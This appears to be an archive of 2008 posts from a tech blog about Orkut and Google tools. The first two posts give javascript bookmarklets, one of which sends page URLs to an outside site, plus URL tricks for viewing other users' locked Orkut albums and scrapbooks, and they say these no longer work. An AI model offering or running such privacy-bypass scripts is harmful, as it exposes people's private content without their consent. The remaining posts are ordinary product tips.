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Orkut Album Hack : View Photos From Locked Orkut Album!

Important Update: This hack is rectified by orkut. SO IT WILL NOT WORK ANYMORE. If I find a new hack I will definitely post it here!

You may subscribe to my RSS feed or email alert to receive automatic updates regarding this and other hacks in future! (Jan 17, 2008)


Next time you see a profile with locked album do not get annoyed! Just use following codes and all photos from album will appear on screen!

javascript:alert("Wait for few seconds for pic`s to load......");nb= document.all[0].innerHTML.match(/[0-9]*.jpg)/g);nb=parseInt(nb);document.body.innerHTML="<center><font style='font-size:100'><b>ALBUM HACK<br></b>SCRIPT BY Ethical Hacking Community</a></font>";for(i=1;i<=100;i++){document.body.innerHTML+='<img src="http://img3.orkut.com/images/milieu/'+i+'/0/'+nb+'.jpg"><br><br><br><br>';};void(0)

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Steps to use above code:

  1. Go to the profile with locked album.
  2. Paste above code in address bar/navigation bar.
  3. HIT Enter key and all photos from locked album will appear on screen!
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IMPORTANT: (Added on Jan 3, 2008)

Code in above box are lengthy. So crosscheck following…

  • when you paste code and hit enter you should get a box with OK button and message “Wait for few seconds for pics to load……”
  • If scripts executes successfully you will see a page with very big title “ALBUM HACKSCRIPT BY Ethical Hacking Community”

Successful execution of script may not always give you results as per expectations! So…

Few Notes: (Added on Jan 3, 2008)

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  • Script may not work on few profile. The problem faced by Amit was this only. He encountered one such exception profile. Try on other profiles before reporting problem here.
  • Script may not show all pics. Worst you will get to see only one pic.
  • Script can not fetch full pics but large thumbnails only you can see.

I got this hack by email from surun and also read about similar hack on jerry’s blog few days back. I wanted to post about it but orkut rectified it quickly!

Related: View Scraps from Locked Scrapbook


Important Update: This hack is rectified by orkut. SO IT WILL NOT WORK ANYMORE. If I find a new hack I will definitely post it here!

You may subscribe to my RSS feed or email alert to receive automatic updates regarding this and other hacks in future! (Jan 17, 2008)


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3 ways to read locked scrapbook on orkut!

Important Update: This hack is rectified by orkut. SO IT WILL NOT WORK ANYMORE. If I find a new hack I will definitely post it here!

You may subscribe to my RSS feed or email alert to receive automatic updates regarding this and other hacks in future! (Jan 3, 2008)


Here comes another blow to the orkut’s privacy features! This time scrapbook privacy has been compromised and considering 3 ways to do this it may take some time for orkut to revert back! What worsen things for orkut is that this bug is in orkuts sandbox – part of Googles much hyped newly launched Open Social Platform!

Say you are orkutting and bumped into a screen saying “This content has been set to private by the profile owner” when you click on a persons scrapbook! Also see following screenshot…

Now we have 3 ways read locked scrapbook!

#1. Orkut Sandbox

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This will work only if if you have access to sandbox.

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Note www in URL before orkut.com and just change it to sandbox!

So

http://www.orkut.com/scrapbook.aspx?uid=[some_num]

will become..

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http://sandbox.orkut.com/scrapbook.aspx?uid=[some_num]

#2. JavaScript

A little javascript will redirect you to a page where unlocked scrapbook waiting for you. Just put following javascript code in browsers address/navigation bar and hit enter!

javascript:document.location='http://rodlac.freetzi.com/ViewScraps.php?uid='+encodeURIComponent(location.href);void(0)

You can also use following bookmarklet if your browse supports it!

#3. GreaseMonkey Script

If you want to read many locked scrapbooks then it will be better to automate this for once!

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This will require firefox and GreaseMonkey.

Click here to install View Locked Scrapbook Script

Credits: Rodrigo Lacerda, the dude who figured out this bug & Gaurav for telling me about it!


Important Update: This hack is rectified by orkut. SO IT WILL NOT WORK ANYMORE. If I find a new hack I will definitely post it here!

You may subscribe to my RSS feed or email alert to receive automatic updates regarding this and other hacks in future! (Jan 3, 2008)


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Orkut Friends Finder: Find your Gmail friends on Orkut!

Certainly this is one of the most awaited feature on orkut! Other social networking sites like facebook, linkedin, etc had it from day one. And many not so popular social networking sites use this to welcome newly registered members under captions like invite your yahoo, hotmail, etc friends to blahblah site…

Now orkut bridged the gap by giving this feature to limited orkut users with Gmail account. Just Click on Find Friends as highlighted in above screenshot and you will be taken to next page as shown below from where you can choose to add your friends who are already on orkut or simply invite who has not yet joined the orkut!

#Some limitation of this cool feature… 🙁

  • The find friends box will not appear if you do not use gmail or use gmail but its login is different from your orkut login.
  • This feature is only available for your Gmail contact list. orkut doesn’t import address books from other email servers at this time.

You can read official orkut help page on this feature or just go on adding!

#Extra Hack:

If you use gmail but also use other services like yahoo, hotmail, etc… You can simply import other services’ contact list on Gmail!

Note that orkut can not import address book from other email servers but Gmail can! 😉

Have fun! 🙂

Update: Read Orkut’s official post!

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Get friendly URL for Your Orkut Profile & Community!

If you are annoyed with unfriendly Orkut URL for profile and community, you can try locaworld, which in its own words…

LocaWorld is a service for easy to remember personalized Orkut URLs. All you have to do is paste your Orkut URL and choose a keyword to get your own shortcut to your profile or community.

So all it takes two things:

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  1. an orkut URL (either your profile URL or community URL) 
  2. a keyword of your choice (you can put your nick name or community name here)

and returns a user friendly URL with keyword as subdomain under locaworld.com.

Here are examples…

Ex 1: Orkut Profile URL

I gave: http://www.orkut.com/Profile.aspx?uid=2008781293621471903 and rahul286

I got: http://RAHUL286.locaworld.com/ and direct links to my friends, album, videos and other pages.

Ex 2: Orkut Community URL

I gave: http://www.orkut.com/Community.aspx?cmm=19587001 and DevilsWorkshop

I got: http://DEVILSWORKSHOP.locaworld.com/ and direct links to community topics, events, polls and other pages.

 

The links from locaworld are plain redirect to real orkut URL. The service is absolutely free 🙂

Link: http://locaworld.com/

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[Editorial] Time To Thank All of You… :-)

With all your love and support Devils Workshop managed to get in 100K club on Technorati!

It matters so much to us as technorati is known to be worlds largest blog search engine with index of ~100 Million blogs!

I wish I could personally thank all of you but our community is growing so fast that it becomes humanly impossible for me 🙁

Thank you all of you for your love, support, motivation, criticism & being there with me…

 

-Rahul 🙂

Admin, Devils Workshop

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3 Ways to Improve Blog Writing / Web Publishing With Google Trends

First if you do not know about Google Trends, then from wikipedia,

Google Trends is a tool from Google Labs that shows the most popularly searched terms from the beginning of 2004 to now.

Google Trends charts how often a particular search term is entered relative the total search volume across various regions of the world, and in various languages.

Now lets back to blogging and try to figure out how does Google Trends improves blog writing?

Before answering the question….  what we mean by improving blog writing!

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  • Writing with right better keywords… specially title part! (read why?)
  • Writing with keeping blog readers regional diversity in mind
  • Writing in present… who wants to read about yesterday???

Lets go one by one now with examples to make things more  clear!

 

#Step 1: Writing with better keywords

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How often you find its difficult to choose right keywords for your post.

If you have slighted hint about Google Search Engines contribution to your blogs traffic then you know why its important to choose right keywords!

Worse scenario there exists many synonyms for a single keyword!

e.g. Mobile v/s Cellphone – although cellphone is more precise in meaning google trends shows mobile is better choice. That’s why we killed right!

e.g. Images v/s Photos v/s Pics  say you are writing a post about flicker and you need to choose between these three words… again google trends shows Photos is clear winner…

As trends doesn’t change daily once you observes a trend you can cache it in your mind for long time! 🙂

 

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#Step 2: Writing with keeping blog readers regional diversity in mind

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Same thing can not be popular across the whole world. Trust me even Google is not an exception as it lost to baidu (a Chinese search engine) in China!

So first find out if your blog is more popular in any geographical region? And if answer is yes, find the region where you are loved the most. Then go to google trends again and drill down the data which is applicable to particular region only!

e.g. Orkut v/s Facebook v/s Myspace – if you often blog about social networking sites, then following results will surprise you!

Note 1: Myspace clearly dominates the world… (still)

Note 2: If you are from India, they forget myspace and also facebook. Orkut is clear winner and this could be the reason as why many Indian bloggers are running dedicated blog on Orkut!

Clearly writing about myspace just wont work in India! So if you are running out of time blog more on Orkut!

 

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#Step 3: Writing in present… who wants to read about yesterday???

Unless you are sure you are running a blog on historical events, you must stick to current events. There are large sites and databases dedicated for historical archives. What was popular a year ago any not popular today! So always check recent trends if there is a chance of high deviation in peoples choice…

e.g. iphone review – Great you brought your first iphone and impressed with its features. But you are little late to right a review about it!

Bonus: Do not forget to check Hot Trends before closing your browser!

 

These small steps over the time not only improve your search engine ranking but also help you –

  • choose better vocabulary (step 1)
  • develop understanding with your blog readers (step 2)
  • get the latest trends (step 3)!

 

No never underestimate something from Google! 😉

 

Related Link: Get higher Google pagerank by naming files, images, post titles optimally!

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2 Best Places To Find Abandonware i.e. Abandoned Softwares, Games, Tools, etc!

Few months back I wrote about how to find old version of your favorite softwares. This time its about abandoned softwares, games, tools, etc collectively called abandonware.

As per wikipedia"Abandonware refers to computer software that is no longer current…."

So lets find out where to find out abandonwares…

 

#1. Vetusware 

This site claims to be the biggest free abandonware downloads collection in the universe. Large number of softwares and on top of it they are well organized by…

  • category (e.g. Games, Multimedia, System, etc)
  • manufacturer (e.g. Adobe, Microsoft, Novell, etc)
  • operating system (e.g. Dos, Windows XP, etc)
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They also maintains list of popular downloads, search engine, blog, forum, request form, etc.

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The site is completely free where to download more you have to contribute more.  Smallest you can contribute is finding a spelling error on any of its page! Yep they don’t ask for money honey! 😉

 

  #2. Abandonia

This site is dedicated to classic (read abandoned) DOS games. So if you are not a gamer skip this site.

But for gamers the site maintains games into 12 categories.

 

#3. Directory

I also noticed following too sites which maintains information about other abandonwares sites. So these are like directories holding meta information.

 

It you fins something great missing out here, please let us know!

 

Related Links: 3 Free Sites for Downloading Old Versions of your favorite Software!

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Download Complete Microsoft .NET Framework 3.5 Setup

Many new Windows applications requires latest version of Microsoft .NET framework which is version 3.5 at the time of of writing of this post.

If you go to Microsoft download center, then by default you will get live installer of approximately 2-3 MB’s while complete .NET framework requires 50-200 MB. Actually on the same page there are links to complete setup but they are placed in a way that anyone can hardly notice them. Seems like Microsoft wants you to download live installer but there are problems with live installer…

  1. It may hang forever if you have slow internet connection like dial-up, GPRS, etc.
  2. You can not use it at all if your computer is not connected to internet 🙁
  3. Also if you are running pirated Windows better not to use any software/installer from Microsoft which connects to Internet.

Here I am giving you links to complete Microsoft .NET Framework 3.0 & 3.5 setups which are gathered from Microsoft pages (links: v3.5 & v3.0)

# Microsoft .NET Framework 3.5 Setup

# Microsoft .NET Framework 3.0 Setup

Do not worry about authenticity of above links as they are from Microsoft’s server! 🙂

Update: If you are looking for offline installer for Microsoft .NET Framework 4.0 then click here.

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Orkut’s Most Awaited Scrapbook Privacy Feature is Out!

Have you ever abused by some stranger on orkut via your scrapbook? Most girls will reply yes to this as at some point of time they faced abuse my some stranger! All you could do to save yourself from such stranger is to got to their profile and add them to your ignore list so that they wont we able to write a scrap in your scrapbook or send you a friend request.

But there is a problem with above blocking! Scrapbook is was public and so if some one put bad word in it it happens to be there until you log in and delete such offensive scarp. This was embarrassing particularly to the people who do not use orkut so frequently. So all you wished was a way so that you can hide your scrapbook from stranger! Well this is what orkut is giving you now…

Just go to privacy settings page..

#  To prevent strangers scrapping you…

Just select "friends" from drop-down box next to "allow scraps to be written by" setting!

 

# To hide scrapbook, album, videos, testimonials, feeds from strangers…

Similarly under "allow content to be viewed by" settings you can restrict who can view your scrapbook, album, videos, testimonials & feeds. So you may not need anymore our scrapbook cleaner script to delete all your scraps!

# To restrict friends also!!!

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You have following options..

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  • Do not open an orkut account
  • Delete your orkut account (if you already have one)
  • Delete picture, testimonial, scraps, etc
  • or Delete friends so everyone on orkut will become stranger! 😉
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# Update : Short note on how to use this feature

In comment by Dreesa we come to know there is little confusion about this feature so we are adding clarification note

Scene 1: Stranger should not write to your scrapbook

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>> Select "friends" from drop-down box next to "allow scraps to be written by" setting!

Scene 2: Stranger should not read your scrapbook (Implied :: and should not write)

>> Select "friends" from drop-down box next to scrapbook in "allow content to be viewed by" setting!

>> Note: Orkut assumes if you are bothered about reading then writing is also you don’t want to allow. So preventing read access automatically override setting "allow scraps to be written by"

 

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# How Orkut Could have avoided this confusion!

Way 1: Put altogether different setting for scrapbook

Scrapbook is different than album, videos and other stuff as other can write into your scrapbook but cant upload pictures to your album!

So something like "scrapbook setting" should be implemented separately with options

  • Anyone can read and write (default option)
  • Only friends can read and write

So privacy setting page could look like: (Click on image to enlarge it)

Way 2: Hide scraps not scrapbox form!

If orkut want to drop assumption that people will not imagine something like "write only" scrapbook, then best way to do this is hide content of scrapbook not scrapbox itself so stranger can not read scraps but can write!

So scrapbook would look like:

 

Well there could be still another way! If you got one let us know!

That’s it! Enjoy safer orkut 🙂

 

Related Link: Official Orkut Post | Scrapbook Cleaner Script

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Everything About Gmail’s New Colored Labels!

 

If you used labels too often then you might have noticed slightly different labels box today with some squares next to them! Well its nothing but Gmails colored label feature! So how to use this feature?

It is by default enabled on new Gmail Version which is available only for IE7 and Firefox 2+.

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# How to color a label?

Just click on square box next to each label and you will see a small palate of 24-colors as shown in above screenshot! Also there is a link "Remove color" on same palate which comes in handy if you want to remove color at all!

# Editing label name made simpler…

Yep. On same palate there is a link Edit Name, which on clicking prompts new name!

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Here this small palate could have been better if there is "Delete Label" link on it!

Anyway hold on there is more….

# Removing labels from a mail/conversation…

No need to scroll down more actions to remove a label. Instead have a look at subject line and at the end of it you will notice every label with a separate "x" link. Just click on it and that label will be removed from mail/conversation you are reading!

Just have a look at following screenshot…

That’s All! If you find something missing over here, let us know! 🙂

Related Links: Gmails Official Post